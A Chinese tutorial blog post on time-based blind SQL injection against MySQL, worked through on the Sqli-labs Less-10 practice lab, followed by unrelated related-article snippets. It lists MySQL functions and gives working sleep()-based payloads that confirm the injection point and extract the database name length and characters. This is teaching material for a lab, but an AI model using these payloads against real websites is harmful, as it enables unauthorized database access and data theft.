SQL Injection | SQL 注入 —— 时间盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:时间盲注 —— 理论篇

时间盲注(Time-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会返回错误信息,只会回显一种界面的情况。

时间盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的延时函数,使数据库的查询时间变长,从而根据页面响应时间的差异来推断攻击的结果是否成功。

0x0101:MySQL 时间盲注 — 相关函数

下面介绍一些对 MySQL 数据库进行时间盲注时的相关函数及其使用示例:

函数名函数解析用法示例
sleep()使当前会话(或连接)暂停指定的秒数select sleep(3);
benchmark()对一个表达式重复执行指定次数的计算select benchmark(10000, Now());
if(条件, 结果1, 结果2)条件正确,返回结果 1;否则,返回结果2select if(1=2, 3, 4);
mid(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select mid('12',1,1);
substr(string,start_pos,count)从 start_pos 开始,截取 string 的 count 位字符。select substr('12',2,1);
left(string,count)从左侧截取 string 的前 count 位字符。select left('123',2);
length()返回字符串的长度select length('ni');
ord()获取字符对应的 ASCII 码值select ord('A');
ascii()获取字符对应的 ASCII 码值。select ascii('A');

0x02:时间盲注 —— 实战篇

本节重点在于熟悉时间盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-10 GET - Blind - Time based - Double Quotes,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)

0x0201:第一阶段 — 判断注入点

进入靶场,靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

如上,靶场返回了一段字符 You are in。似乎它是认可我们的操作了,但我们并没有从中获取什么有用的信息。

接下来,笔者又尝试给它传递了一个异常的值(字符串类型):

如上,靶场依旧返回了 You are in。我们明明传递的是不符合要求的值,结果它还是返回正常的结果,这个本身就有问题。

为了摸清楚靶场的底线,笔者这里又进行了一系列的测试:

 测试 Payload 1: ?id=1        结果: You are in测试 Payload 2: ?id=3-2      结果: You are in测试 Payload 3: ?id=1 a      结果: You are in测试 Payload 4: ?id=1a'      结果: You are in测试 Payload 5: ?id=1a"      结果: You are in测试 Payload 6: ?id=b'")(    结果: You are in

可以看到,这关就像是一个无底洞,你给它啥它都会回应你 You are in,你根本摸不透它。

此时,我们需要转变一下测试思路:You are in 是不是就是它的一个障眼法呢,其实它已经背着我们偷偷执行了 SQL 语句,但是由于一直都返回同样的结果,导致我们无法发现呢。

面对上面这种情况,我们就可以采用时间盲注的手段,来看看它有没有偷偷背着我们干坏事了:

知识拓展:如何查看浏览器响应包加载速度

打开浏览器,鼠标右击页面并选择 ”检查“,打开 ”开发者工具“:
 

定位到 “网络(NetWork)” 菜单,并刷新当前页面,即可看到网页响应包的加载速度:
 

 测试 Payload 1: ?id=1 and sleep(5) --+    结果: 24 ms 响应,失败测试 Payload 2: ?id=1' and sleep(5) --+   结果: 9 ms 响应,失败测试 Payload 3: ?id=1" and sleep(5) --+   结果: 5.02 s 响应,成功

从上面的回显可以看出,它果然背着我们偷偷的执行了 SQL 语句,不过小动作还是被聪明的我们发现啦。

通过上面测试的 Payload,我们已经可以确定了,目标的 GET 型请求参数 id 处存在 SQL 注入漏洞,且注入模板如下:

 注入模板: ?id=1" and sleep(if(攻击语句,5,0)) --+"推测目标后端模板: select * from users where id="1" and sleep(if(攻击语句,5,0)) --+""笔者备注: if(攻击语句,5,0) 这么写的原因是,如果攻击成功则页面延时 5 秒返回,否则无延时返回(你失败的推测肯定比你正确的多,这么写可以加快点速度)。

0x0202:第二阶段 — 时间盲注漏洞利用

本节中,我们主要介绍如何通过时间盲注,来获取目标数据库内的真实信息,这里需要用到一些数据库的相关函数,不了解的可以去文章开头的函数表格中查询用法。

1. 猜测数据库名长度

要获取数据库的真实信息,我们就需要摸清当前数据库的结构。比如有哪些数据库,每个数据库下有哪些表,每张表中有哪些字段。

盲注中的服务器当然不会直接回显,所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度(知道长度后才好猜解每一位的内容):

 -- 猜测数据库名称长度为 1,若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(length(database())=1,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=1,5,0)) --+""攻击结果: 9 ms 响应,失败​-- 猜测数据库名称长度为 2,若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(length(database())=2,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=2,5,0)) --+""攻击结果: 10 ms 响应,失败​...​-- 猜测数据库名称长度为 8,若返回为 True,则证明猜测正确攻击 Payload 08: ?id=1" and sleep(if(length(database())=8,5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(length(database())=8,5,0)) --+""攻击结果: 5.01 s 响应,成功

如上,我们成功通过时间盲注(响应包延时)判断出了,目标当前使用的数据库的名称长度为 8。

2. 猜解数据库名称

知道了目标当前使用的数据库的名称的长度后,我们就可以一个字符一个字符的进行猜解了,Payload 如下:

 -- 猜测数据库的第一个字符为 'a',若返回为 True,则证明猜测正确攻击 Payload 01: ?id=1" and sleep(if(mid(database(),1,1)='a',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='a',5,0)) --+""攻击结果: 11 ms 响应,失败​-- 猜测数据库的第一个字符为 'b',若返回为 True,则证明猜测正确攻击 Payload 02: ?id=1" and sleep(if(mid(database(),1,1)='b',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='b',5,0)) --+""攻击结果: 7 ms 响应,失败​...​-- 猜测数据库的第一个字符为 's',若返回为 True,则证明猜测正确攻击 Payload 18: ?id=1" and sleep(if(mid(database(),1,1)='s',5,0)) --+"推测目标后端执行的语句: select * from users where id="1" and sleep(if(mid(database(),1,1)='s',5,0)) --+""攻击结果: 5.02 s 响应,成功​...

由于猜解需要的语句太多了,所以笔者在这里就不一一列举了(从上面的测试 Payload 中其实很好找到规律的)。

3. 时间盲注后续流程

时间盲注的后续流程已经没有啥特别的了,核心思想就在前面介绍的两步中了:

  1. 获取你想要知道的信息的长度。

  2. 通过截取的方式利用延时函数配合布尔表达式获取每一位字符的内容。

  3. 将获取的每一位字符进行拼接,最终得到你想要的内容。

所以笔者在这里就不花时间多讲解了,相信聪明如你,从上面的几个例子中,已经可以领略到时间盲注的核心思想了(时间盲注的利用手段其实跟 [[0x0304A:SQL 注入 —— 布尔盲注|布尔盲注]] 很像,不了解的可以去看一看)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/450503.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

appium启动hbuild打包的apk异常解决

目录 一、错误信息 二、问题解决 2.1 通过以下命令获取安装包名称: 2.2 这个launcher状态下的安装包名称和active,替换原先的安装包名称 一、错误信息 通过adb shell dumpsys activity | findstr "mResume" 命令获取的安装包信息&#xff…

第十四届单片机嵌入式蓝桥杯

一、CubeMx配置 (1)LED配置 (1)LED灯里面用到了SN74HC573ADWR锁存器,这个锁存器有一个LE引脚,这个是我们芯片的锁存引脚(使能引脚),由PD2这个端口来控制的 (2&#xff…

【前端】如何制作自己的网站(7)

以下内容接上文。 结合图片的超链接 将img元素作为内容,放在a元素中。即可为图片添加一个超链接。 例如右边的代码,点击头像就会打开“aboutme.html“。 点击右边的图片试试~ 两个非文本元素——图片与超链接。 从现在开始&#xff0…

API项目3:API签名认证

问题引入 我们为开发者提供了接口,却对调用者一无所知 假设我们的服务器只能允许 100 个人同时调用接口。如果有攻击者疯狂地请求这个接口,那是很危险的。一方面这可能会损害安全性,另一方面耗尽服务器性能,影响正常用户的使用。…

Golang | Leetcode Golang题解之第492题构造矩形

题目: 题解: func constructRectangle(area int) []int {w : int(math.Sqrt(float64(area)))for area%w > 0 {w--}return []int{area / w, w} }

DeBiFormer:带有可变形代理双层路由注意力的视觉Transformer

https://arxiv.org/pdf/2410.08582v1 摘要 带有各种注意力模块的视觉Transformer在视觉任务上已表现出卓越的性能。虽然使用稀疏自适应注意力(如在DAT中)在图像分类任务中取得了显著成果,但在对语义分割任务进行微调时,由可变形…

【论文精读】RELIEF: Reinforcement Learning Empowered Graph Feature Prompt Tuning

RELIEF: Reinforcement Learning Empowered Graph Feature Prompt Tuning 前言AbstractMotivationSolutionRELIEFIncorporating Feature Prompts as MDPAction SpaceState TransitionReward Function Policy Network ArchitectureDiscrete ActorContinuous ActorCritic Overall…

Firefox火狐浏览器打开B站视频时默认静音

文章目录 环境问题解决办法 环境 Windows 11家庭版Firefox浏览器 131.0.2 (64 位) 问题 用Firefox浏览器打开B站的视频时,默认是静音播放的: 而其它浏览器,比如Chrome和Edge,默认是带声音播放的。 虽然不是什么大问题&#xf…

二叉树与堆讲解

目录 1.树的概念及结构 1.树的概念 2.树的相关概念 3.树的表示 2.二叉树 1.概念 2.特殊的二叉树 1.满二叉树 2.完全二叉树 3.二叉树的性质 4.二叉树的存储结构 1.顺序结构 2.链式存储 3.堆 1.堆的概念及结构 2.堆的实现 1.堆的创建 2.堆的初始化(H…

Javascript算法——双指针法移除元素、数组去重、比较含退格字符、有序数组平方

数组移除元素(保证数组仍连续) 暴力求解法(两层for循环),length单词拼写错误❌二次嵌套for的length设置 /*** param {number[]} nums* param {number} val* return {number}*/ var removeElement function(nums, val) {let leng…

三、账号密码存储

使用Playfers存储 Unity本地持久化类Playerprefs使用详解 - PlaneZhong - 博客园 (cnblogs.com) 一、登陆界面切换 1、登陆界面的脚本(机制类脚本) 在这个UI上挂载一个脚本LoginWnd 先声明一下这个脚本,拖拽 2、在登录模块中调用 这里的l…

手写Spring IOC-简易版

目录 项目结构entitydaoIUserDaoUserDaoImpl serviceIUserServiceUserServiceImpl ApplicationContext 配置文件初始化 IOC 容器RunApplication 注解初始化 IOC 容器BeanAutowired Reference 项目结构 entity User Data NoArgsConstructor AllArgsConstructor Accessors(chai…

神经网络中使用的激活函数有什么用?

🎁👉点击进入文心快码 Baidu Comate 官网,体验智能编码之旅,还有超多福利!🎁 🔍【大厂面试真题】系列,带你攻克大厂面试真题,秒变offer收割机! ❓今日问题&am…

最新仿蓝奏网盘系统源码 附教程

自带的蓝奏云解析,是之前的代码,截至发帖时间,亲测依旧有效,可以扒拉下来做蓝奏云解析接口。 使用方法:可以将文件上传至蓝奏云,然后通过此套系统,二次解析下载,不会暴露你的真实蓝…

PCL 点云配准-4PCS算法(粗配准)

目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.1.1 加载点云数据 2.1.2 执行4PCS粗配准 2.1.3 可视化源点云、目标点云和配准结果 2.2完整代码 三、实现效果 3.1原始点云 3.2配准后点云 PCL点云算法汇总及实战案例汇总的目录地址链接…

扫雷(C 语言)

目录 一、游戏设计分析二、各个步骤的代码实现1. 游戏菜单界面的实现2. 游戏初始化3. 开始扫雷 三、完整代码四、总结 一、游戏设计分析 本次设计的扫雷游戏是展示一个 9 * 9 的棋盘,然后输入坐标进行判断,若是雷,则游戏结束,否则…

FPGA实现PCIE采集电脑端视频转SFP光口UDP输出,基于XDMA+GTX架构,提供4套工程源码和技术支持

目录 1、前言工程概述免责声明 2、相关方案推荐我已有的PCIE方案1G/2.5G Ethernet Subsystem实现物理层方案1G/2.5G Ethernet PCS/PMA or SGMII Tri Mode Ethernet MAC实现物理层方案 3、PCIE基础知识扫描4、工程详细设计方案工程设计原理框图电脑端视频PCIE视频采集QT上位机X…

VSCODE c++不能自动补全的问题

最近安装了vscode,配置了C/C扩展,也按照网上说的配置了头文件路径 我发现有部分头文件是没办法解析的,只要包含这些头文件中的一个或者多个,就没有代码高亮和代码自动补全了,确定路径配置是没问题的,因为鼠…

【GT240X】【3】Wmware17和Centos 8 安装

文章目录 一、说明二、安装WMware2.1 下载WMware2.2 安装2.3 虚拟机的逻辑结构 三、安装Centos3.1 获取最新版本Centos3.2 创建虚拟机 四、问题和简答4.1 centos被淘汰了吗?4.2 centos里面中文显示成小方块的解决方法4.3 汉语-英语输入切换4.4 全屏和半屏切换 五、练…

【图论】(一)图论理论基础与岛屿问题

图论理论基础与岛屿问题 图论理论基础深度搜索(dfs)广度搜索(bfs)岛屿问题概述 岛屿数量岛屿数量-深搜版岛屿数量-广搜版 岛屿的最大面积孤岛的总面积沉没孤岛建造最大人工岛水流问题岛屿的周长 图论理论基础 这里仅对图论相关核…